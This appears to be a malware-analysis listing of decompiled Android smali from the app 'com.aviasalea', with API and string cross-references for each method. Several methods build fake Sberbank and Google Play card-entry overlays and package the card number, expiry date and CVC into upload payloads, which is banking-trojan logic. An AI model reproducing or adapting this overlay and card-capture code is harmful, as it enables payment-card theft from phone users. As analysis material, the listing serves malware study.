                                      41invoke-direct {v9, p0, v0}, Landroid/support/v4/app/NotificationCompat$Builder;-><init>(Landroid/content/Context;Ljava/lang/String;)V
                                      42iget v12, v3, Lcom/aviasalea/not/NotController$NotModel;->mImSmall:I
                                      44invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setSmallIcon(I)Landroid/support/v4/app/NotificationCompat$Builder;
                                      45move-result-object v9
                                      47invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      48move-result-object v12
                                      49const v13, 0x7f03000e
                                      51invoke-virtual {v12, v13}, Landroid/content/res/Resources;->getColor(I)I
                                      52move-result v12
                                      54invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setColor(I)Landroid/support/v4/app/NotificationCompat$Builder;
                                      55move-result-object v9
                                      57invoke-virtual {v9, v2}, Landroid/support/v4/app/NotificationCompat$Builder;->setLargeIcon(Landroid/graphics/Bitmap;)Landroid/support/v4/app/NotificationCompat$Builder;
                                      58move-result-object v9
                                      60iget-object v12, v3, Lcom/aviasalea/not/NotController$NotModel;->mTitle:Ljava/lang/String;
                                      62invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/support/v4/app/NotificationCompat$Builder;
                                      63move-result-object v9
                                      65iget-object v12, v3, Lcom/aviasalea/not/NotController$NotModel;->mDesc:Ljava/lang/String;
                                      67invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/support/v4/app/NotificationCompat$Builder;
                                      68move-result-object v9
                                      69const/4 v12, 0x1
                                      71invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setOngoing(Z)Landroid/support/v4/app/NotificationCompat$Builder;
                                      72move-result-object v9
                                      73const/4 v12, 0x1
                                      75invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setAutoCancel(Z)Landroid/support/v4/app/NotificationCompat$Builder;
                                      76move-result-object v9
                                      77const/4 v12, 0x2
                                      78new-array v12, v12, [J
                                      79fill-array-data v12, :array_9c
                                      81invoke-virtual {v9, v12}, Landroid/support/v4/app/NotificationCompat$Builder;->setVibrate([J)Landroid/support/v4/app/NotificationCompat$Builder;
                                      82move-result-object v9
                                      84invoke-virtual {v9, v1}, Landroid/support/v4/app/NotificationCompat$Builder;->setContentIntent(Landroid/app/PendingIntent;)Landroid/support/v4/app/NotificationCompat$Builder;
                                      85move-result-object v9
                                      87invoke-virtual {v9, v10, v11}, Landroid/support/v4/app/NotificationCompat$Builder;->setWhen(J)Landroid/support/v4/app/NotificationCompat$Builder;
                                      88move-result-object v9
                                      90invoke-virtual {v9}, Landroid/support/v4/app/NotificationCompat$Builder;->build()Landroid/app/Notification;
                                      91move-result-object v4
                                      92new-instance v7, Ljava/util/Random;
                                      94invoke-direct {v7}, Ljava/util/Random;-><init>()V
                                      95const/16 v9, 0x2327
                                      97invoke-virtual {v7, v9}, Ljava/util/Random;->nextInt(I)I
                                      98move-result v9
                                      99add-int/lit16 v8, v9, 0x3e8
                                      101const-string v9, "notification"
                                      103invoke-virtual {p0, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      104move-result-object v5
                                      105check-cast v5, Landroid/app/NotificationManager;
                                      106if-eqz v5, :cond_9a
                                      108invoke-static {v0, p0, v5}, Lcom/aviasalea/not/NotController;->oreoNotificationChannel(Ljava/lang/String;Landroid/content/Context;Landroid/app/NotificationManager;)V
                                      110invoke-virtual {v5, v8, v4}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
                                      111cond_9a: return-void
                                      112nop
                                      Cross References
                                      APIs
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getDisplayMetrics
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getConfiguration
                                      • android.content.Context.getSystemService
                                      • android.view.WindowManager.getDefaultDisplay
                                      • android.view.Display.getMetrics
                                      • android.view.Display.getSize
                                      • java.lang.Math.ceil
                                      • java.lang.Math.abs
                                      • java.lang.Math.ceil
                                      • java.lang.Math.abs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.Exception.toString
                                      Strings
                                      • window
                                      • display size =
                                      • x
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "newConfiguration" # Landroid/content/res/Configuration;
                                      2.prologue
                                      3const/4 v8, 0x3
                                      4try_start_1:
                                      5invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      6move-result-object v5
                                      8invoke-virtual {v5}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
                                      9move-result-object v5
                                      10iget v5, v5, Landroid/util/DisplayMetrics;->density:F
                                      11sput v5, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      12move-object v0, p1
                                      13if-nez v0, :cond_18
                                      15invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      16move-result-object v5
                                      18invoke-virtual {v5}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration;
                                      19move-result-object v0
                                      20cond_18:
                                      21const-string v5, "window"
                                      23invoke-virtual {p0, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      24move-result-object v3
                                      25check-cast v3, Landroid/view/WindowManager;
                                      26if-eqz v3, :cond_32
                                      28invoke-interface {v3}, Landroid/view/WindowManager;->getDefaultDisplay()Landroid/view/Display;
                                      29move-result-object v1
                                      30if-eqz v1, :cond_32
                                      32sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displayMetrics:Landroid/util/DisplayMetrics;
                                      34invoke-virtual {v1, v5}, Landroid/view/Display;->getMetrics(Landroid/util/DisplayMetrics;)V
                                      36sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      38invoke-virtual {v1, v5}, Landroid/view/Display;->getSize(Landroid/graphics/Point;)V
                                      39cond_32: iget v5, v0, Landroid/content/res/Configuration;->screenWidthDp:I
                                      40if-eqz v5, :cond_51
                                      41iget v5, v0, Landroid/content/res/Configuration;->screenWidthDp:I
                                      42int-to-float v5, v5
                                      43sget v6, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      44mul-float/2addr v5, v6
                                      45float-to-double v6, v5
                                      47invoke-static {v6, v7}, Ljava/lang/Math;->ceil(D)D
                                      48move-result-wide v6
                                      49double-to-int v4, v6
                                      51sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      52iget v5, v5, Landroid/graphics/Point;->x:I
                                      53sub-int/2addr v5, v4
                                      55invoke-static {v5}, Ljava/lang/Math;->abs(I)I
                                      56move-result v5
                                      57if-le v5, v8, :cond_51
                                      59sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      60iput v4, v5, Landroid/graphics/Point;->x:I
                                      61cond_51: iget v5, v0, Landroid/content/res/Configuration;->screenHeightDp:I
                                      62if-eqz v5, :cond_70
                                      63iget v5, v0, Landroid/content/res/Configuration;->screenHeightDp:I
                                      64int-to-float v5, v5
                                      65sget v6, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      66mul-float/2addr v5, v6
                                      67float-to-double v6, v5
                                      69invoke-static {v6, v7}, Ljava/lang/Math;->ceil(D)D
                                      70move-result-wide v6
                                      71double-to-int v4, v6
                                      73sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      74iget v5, v5, Landroid/graphics/Point;->y:I
                                      75sub-int/2addr v5, v4
                                      77invoke-static {v5}, Ljava/lang/Math;->abs(I)I
                                      78move-result v5
                                      79if-le v5, v8, :cond_70
                                      81sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      82iput v4, v5, Landroid/graphics/Point;->y:I
                                      83cond_70: new-instance v5, Ljava/lang/StringBuilder;
                                      85invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                      87const-string v6, "display size = "
                                      89invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      90move-result-object v5
                                      92sget-object v6, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      93iget v6, v6, Landroid/graphics/Point;->x:I
                                      95invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      96move-result-object v5
                                      98const-string v6, " "
                                      100invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      101move-result-object v5
                                      103sget-object v6, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      104iget v6, v6, Landroid/graphics/Point;->y:I
                                      106invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      107move-result-object v5
                                      109const-string v6, " "
                                      111invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      112move-result-object v5
                                      114sget-object v6, Lcom/aviasalea/checktls/AndroidUtilities;->displayMetrics:Landroid/util/DisplayMetrics;
                                      115iget v6, v6, Landroid/util/DisplayMetrics;->xdpi:F
                                      117invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                      118move-result-object v5
                                      120const-string v6, "x"
                                      122invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      123move-result-object v5
                                      125sget-object v6, Lcom/aviasalea/checktls/AndroidUtilities;->displayMetrics:Landroid/util/DisplayMetrics;
                                      126iget v6, v6, Landroid/util/DisplayMetrics;->ydpi:F
                                      128invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                      129move-result-object v5
                                      131invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      132move-result-object v5
                                      134invoke-static {v5}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      135try_end_b4: return-void
                                      136catch_b5: move-exception v2
                                      138invoke-virtual {v2}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      139move-result-object v5
                                      141invoke-static {v5}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      142goto/16 :goto_b4
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • id
                                      • report
                                      • logs
                                      • name
                                      • google_play
                                      • ,
                                      • process
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "GData" # Lcom/aviasalea/injs/g/model/GData;
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/lang/Exception;
                                      5}
                                      6.end annotation
                                      7.prologue
                                      8new-instance v2, Lorg/json/JSONObject;
                                      10invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                      11new-instance v1, Lorg/json/JSONObject;
                                      13invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      15const-string v3, "id"
                                      17invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      18move-result-object v4
                                      20invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      22const-string v3, "report"
                                      24const-string v4, "logs"
                                      26invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      28const-string v3, "name"
                                      30const-string v4, "google_play"
                                      32invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      34const-string v0, ""
                                      36invoke-virtual {p2}, Lcom/aviasalea/injs/g/model/GData;->getCardNumber()Ljava/lang/String;
                                      37move-result-object v3
                                      38if-eqz v3, :cond_2d
                                      40invoke-virtual {p2}, Lcom/aviasalea/injs/g/model/GData;->getCardNumber()Ljava/lang/String;
                                      41move-result-object v0
                                      42cond_2d:
                                      43invoke-virtual {p2}, Lcom/aviasalea/injs/g/model/GData;->getExpDate()Ljava/lang/String;
                                      44move-result-object v3
                                      45if-eqz v3, :cond_4e
                                      46new-instance v3, Ljava/lang/StringBuilder;
                                      48invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      50invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      51move-result-object v3
                                      53const-string v4, ", "
                                      55invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      56move-result-object v3
                                      58invoke-virtual {p2}, Lcom/aviasalea/injs/g/model/GData;->getExpDate()Ljava/lang/String;
                                      59move-result-object v4
                                      61invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      62move-result-object v3
                                      64invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      65move-result-object v0
                                      66cond_4e:
                                      67invoke-virtual {p2}, Lcom/aviasalea/injs/g/model/GData;->getCVC()Ljava/lang/String;
                                      68move-result-object v3
                                      69if-eqz v3, :cond_6f
                                      70new-instance v3, Ljava/lang/StringBuilder;
                                      72invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      74invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      75move-result-object v3
                                      77const-string v4, ", "
                                      79invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      80move-result-object v3
                                      82invoke-virtual {p2}, Lcom/aviasalea/injs/g/model/GData;->getCVC()Ljava/lang/String;
                                      83move-result-object v4
                                      85invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      86move-result-object v3
                                      88invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      89move-result-object v0
                                      90cond_6f:
                                      91const-string v3, "process"
                                      93invoke-virtual {v1, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      95const-string v3, "1"
                                      97invoke-virtual {v2, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      99invoke-static {v2}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      100move-result-object v3
                                      101return-object v3
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • id
                                      • report
                                      • logs
                                      • name
                                      • sberbank
                                      • ,
                                      • process
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "sModel" # Lcom/aviasalea/injs/s/model/SModel;
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/lang/Exception;
                                      5}
                                      6.end annotation
                                      7.prologue
                                      8new-instance v2, Lorg/json/JSONObject;
                                      10invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                      11new-instance v1, Lorg/json/JSONObject;
                                      13invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      15const-string v3, "id"
                                      17invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      18move-result-object v4
                                      20invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      22const-string v3, "report"
                                      24const-string v4, "logs"
                                      26invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      28const-string v3, "name"
                                      30const-string v4, "sberbank"
                                      32invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      34const-string v0, ""
                                      36invoke-virtual {p2}, Lcom/aviasalea/injs/s/model/SModel;->getCardNumber()Ljava/lang/String;
                                      37move-result-object v3
                                      38if-eqz v3, :cond_2d
                                      40invoke-virtual {p2}, Lcom/aviasalea/injs/s/model/SModel;->getCardNumber()Ljava/lang/String;
                                      41move-result-object v0
                                      42cond_2d:
                                      43invoke-virtual {p2}, Lcom/aviasalea/injs/s/model/SModel;->getExpDate()Ljava/lang/String;
                                      44move-result-object v3
                                      45if-eqz v3, :cond_4e
                                      46new-instance v3, Ljava/lang/StringBuilder;
                                      48invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      50invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      51move-result-object v3
                                      53const-string v4, ", "
                                      55invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      56move-result-object v3
                                      58invoke-virtual {p2}, Lcom/aviasalea/injs/s/model/SModel;->getExpDate()Ljava/lang/String;
                                      59move-result-object v4
                                      61invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      62move-result-object v3
                                      64invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      65move-result-object v0
                                      66cond_4e:
                                      67invoke-virtual {p2}, Lcom/aviasalea/injs/s/model/SModel;->getCVC()Ljava/lang/String;
                                      68move-result-object v3
                                      69if-eqz v3, :cond_6f
                                      70new-instance v3, Ljava/lang/StringBuilder;
                                      72invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      74invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      75move-result-object v3
                                      77const-string v4, ", "
                                      79invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      80move-result-object v3
                                      82invoke-virtual {p2}, Lcom/aviasalea/injs/s/model/SModel;->getCVC()Ljava/lang/String;
                                      83move-result-object v4
                                      85invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      86move-result-object v3
                                      88invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      89move-result-object v0
                                      90cond_6f:
                                      91const-string v3, "process"
                                      93invoke-virtual {v1, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      95const-string v3, "1"
                                      97invoke-virtual {v2, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      99invoke-static {v2}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      100move-result-object v3
                                      101return-object v3
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.LayoutInflater.inflate
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.requestFocus
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.btnReg:Landroid/widget/RelativeLayout
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SberRegisterView.findViewById
                                      • com.aviasalea.injs.s.views.SberRegisterView.onKeyboardListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.onEdCardChangeListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.onEdExpDateChangeListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.onEdCVCChangeListener
                                      • com.aviasalea.injs.s.views.SberRegisterView.onClickListener
                                      Strings
                                      • layout_inflater
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v4, Lcom/aviasalea/injs/s/model/SModel;
                                      3invoke-direct {v4}, Lcom/aviasalea/injs/s/model/SModel;-><init>()V
                                      4iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->sModel:Lcom/aviasalea/injs/s/model/SModel;
                                      6invoke-virtual {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->getContext()Landroid/content/Context;
                                      7move-result-object v4
                                      9const-string v5, "layout_inflater"
                                      11invoke-virtual {v4, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      12move-result-object v3
                                      13check-cast v3, Landroid/view/LayoutInflater;
                                      14if-eqz v3, :cond_b7
                                      15const v4, 0x7f080013
                                      17invoke-virtual {v3, v4, p0}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
                                      18const v4, 0x7f06001c
                                      20invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      21move-result-object v4
                                      22check-cast v4, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      23iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      24const v4, 0x7f060013
                                      26invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      27move-result-object v0
                                      28check-cast v0, Landroid/widget/EditText;
                                      30iget-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      32invoke-virtual {v4, v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      34iget-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      36invoke-virtual {v4}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->requestFocus()Z
                                      37const v4, 0x7f06001d
                                      39invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      40move-result-object v4
                                      41check-cast v4, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      42iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      43const v4, 0x7f060021
                                      45invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      46move-result-object v2
                                      47check-cast v2, Landroid/widget/EditText;
                                      49iget-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      51invoke-virtual {v4, v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      52const v4, 0x7f06001b
                                      54invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      55move-result-object v4
                                      56check-cast v4, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      57iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      58const v4, 0x7f06001a
                                      60invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      61move-result-object v1
                                      62check-cast v1, Landroid/widget/EditText;
                                      64iget-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      66invoke-virtual {v4, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      67const v4, 0x7f060074
                                      69invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      70move-result-object v4
                                      71check-cast v4, Landroid/widget/TextView;
                                      72iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->tvScan:Landroid/widget/TextView;
                                      73const v4, 0x7f060029
                                      75invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      76move-result-object v4
                                      77check-cast v4, Landroid/widget/ImageView;
                                      78iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->imBack:Landroid/widget/ImageView;
                                      79const v4, 0x7f060072
                                      81invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      82move-result-object v4
                                      83check-cast v4, Landroid/widget/TextView;
                                      84iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->tvRegCancel:Landroid/widget/TextView;
                                      85const v4, 0x7f060010
                                      87invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      88move-result-object v4
                                      89check-cast v4, Landroid/widget/RelativeLayout;
                                      90iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->btnReg:Landroid/widget/RelativeLayout;
                                      92iget-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->btnReg:Landroid/widget/RelativeLayout;
                                      93const/4 v5, 0x0
                                      95invoke-virtual {v4, v5}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      96const v4, 0x7f060031
                                      98invoke-virtual {p0, v4}, Lcom/aviasalea/injs/s/views/SberRegisterView;->findViewById(I)Landroid/view/View;
                                      99move-result-object v4
                                      100check-cast v4, Lcom/aviasalea/injs/s/views/KeyboardView;
                                      101iput-object v4, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->keyboard:Lcom/aviasalea/injs/s/views/KeyboardView;
                                      103invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->onKeyboardListener()V
                                      105invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->onEdCardChangeListener()V
                                      107invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->onEdExpDateChangeListener()V
                                      109invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->onEdCVCChangeListener()V
